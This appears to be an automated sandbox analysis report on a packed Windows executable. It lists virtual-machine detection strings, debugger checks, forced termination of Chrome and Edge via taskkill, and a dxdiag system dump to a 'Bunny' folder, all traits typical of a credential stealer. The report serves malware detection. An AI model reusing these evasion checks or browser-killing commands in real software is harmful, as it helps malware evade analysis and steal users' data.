Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF083C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00007FF6BAF083C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF09280 FindFirstFileExW,FindClose,	0_2_00007FF6BAF09280
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF21874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF6BAF21874
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF09280 FindFirstFileExW,FindClose,	1_2_00007FF6BAF09280
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF083C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	1_2_00007FF6BAF083C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF21874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	1_2_00007FF6BAF21874

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00007FFDFF1A1230 GetSystemInfo,

1_2_00007FFDFF1A1230

Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxtray.exe
Source: file.exe, 00000000.00000003.1689562884.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: j2aTPs+9xYa9+bG3tD60B8jzljHz7aRP+KNOjSkVWLjVb3/ubCK1sK9IRQq9qEmU
Source: file.exe, 00000001.00000003.1717864531.00000214FFC84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmtoolsd.exez
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwaretray.exe
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmusrvc.exe
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dvmusrvc.exe
Source: file.exe, 00000001.00000003.1717864531.00000214FFC84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmsrvc.exez
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmtoolsd.exe
Source: file.exe, 00000001.00000003.1717288320.00000214FFC64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1717864531.00000214FFC84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft Hyper-V Videoz
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dvmwaretray.exe
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: qemu-ga.exe
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dqemu-ga.exe
Source: file.exe, 00000001.00000003.1717288320.00000214FFC64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1717864531.00000214FFC84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: qemu-ga.exez
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dVMware SVGA 3D
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dvboxtray.exe
Source: file.exe, 00000001.00000003.1717864531.00000214FFC84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware SVGA 3Dz
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dvmtoolsd.exe
Source: file.exe, 00000001.00000003.1717288320.00000214FFC64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1717864531.00000214FFC84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vboxtray.exez
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dvboxservice.exe
Source: file.exe, 00000001.00000003.1717864531.00000214FFC84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vboxservice.exez
Source: file.exe, 00000001.00000002.2147630243.00000214FFD80000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dro.kernel.qemu
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwareuser.exe
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMware SVGA 3D
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Microsoft Hyper-V Video
Source: file.exe, 00000001.00000003.1717864531.00000214FFC84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwareuser.exez
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dvmsrvc.exe
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dMicrosoft Hyper-V Video
Source: file.exe, 00000001.00000003.2110863930.00000214FF9A2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWS
Source: file.exe, 00000001.00000003.1717288320.00000214FFC64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1717864531.00000214FFC84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmusrvc.exez
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dvmwareuser.exe
Source: file.exe, 00000001.00000002.2147630243.00000214FFD80000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: ro.kernel.qemu
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmsrvc.exe
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxservice.exe
Source: file.exe, 00000001.00000003.1717864531.00000214FFC84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwaretray.exez

Source: C:\Windows\System32\dxdiag.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF6BAF0D12C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF6BAF0D12C

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF6BAF23480 GetProcessHeap,

0_2_00007FF6BAF23480

Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF0D30C SetUnhandledExceptionFilter,	0_2_00007FF6BAF0D30C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF0C8A0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF6BAF0C8A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF0D12C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF6BAF0D12C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF1A614 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF6BAF1A614
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF0D30C SetUnhandledExceptionFilter,	1_2_00007FF6BAF0D30C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF0C8A0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00007FF6BAF0C8A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF0D12C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FF6BAF0D12C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF1A614 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FF6BAF1A614
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF2C2920 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00007FFDFF2C2920
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE01302C90 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00007FFE01302C90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE01303248 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FFE01303248

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe protection: readonly

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "dxdiag /t C:\Users\user\AppData\Local\Bunny\Info.txt"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\dxdiag.exe dxdiag /t C:\Users\user\AppData\Local\Bunny\Info.txt	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM msedge.exe			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF6BAF29570 cpuid

0_2_00007FF6BAF29570

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\PublicKey VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\PublicKey VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\PublicKey VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Util VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor\importlib_metadata-8.0.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor\wheel-0.43.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor\wheel-0.43.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor\wheel-0.43.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor\wheel-0.43.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor\wheel-0.43.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\_ctypes.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\_bz2.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
